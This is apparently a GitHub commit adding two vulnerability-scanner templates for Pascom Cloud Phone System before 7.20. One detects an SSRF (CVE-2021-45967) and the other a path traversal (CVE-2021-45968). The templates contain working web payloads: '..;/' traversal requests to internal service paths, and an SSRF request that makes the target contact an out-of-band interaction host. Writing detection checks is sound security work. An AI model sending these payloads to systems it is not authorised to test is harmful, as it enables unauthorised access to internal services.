Add Pascom advisories (#3862)

* pascom: Add CVE-2021-45967

* pascom: Add CVE-2021-45968
patch-1
Dwi Siswanto 2022-03-19 17:39:09 +07:00 committed by GitHub
parent bef6008221
commit 1878c50193
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 58 additions and 0 deletions

View File

@ -0,0 +1,23 @@
id: CVE-2021-45967
info:
name: Pascom CPS SSRF
author: dwisiswant0
severity: high
description: |
Pascom version packaged with Cloud Phone System (CPS)
versions before 7.20 contains a known SSRF issue
reference:
- https://kerbit.io/research/read/blog/4
tags: cve,cve2021,pascom,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}" # Triple parent because endpoint access via backend (parent of index CMS)
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"

View File

@ -0,0 +1,35 @@
id: CVE-2021-45968
info:
name: Pascom CPS Path Traversal
author: dwisiswant0
severity: high
description: |
Pascom version packaged with Cloud Phone System (CPS)
versions before 7.20 contains a known path traversal issue
reference:
- https://kerbit.io/research/read/blog/4
tags: cve,cve2021,pascom,lfi
requests:
- raw:
- |
GET /services/pluginscript/ HTTP/1.1
Host: {{Hostname}}
- | # Double parent to access CMS index
GET /services/pluginscript/..;/..;/ HTTP/1.1
Host: {{Hostname}}
- | # Verifying CMS
GET / HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_2 != status_code_1"
# - "status_code_2 == 200" # This would contradict the matcher below if enabled, because it reduces false-positives - while the status of traversal isn't always OK (200)
- "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
condition: and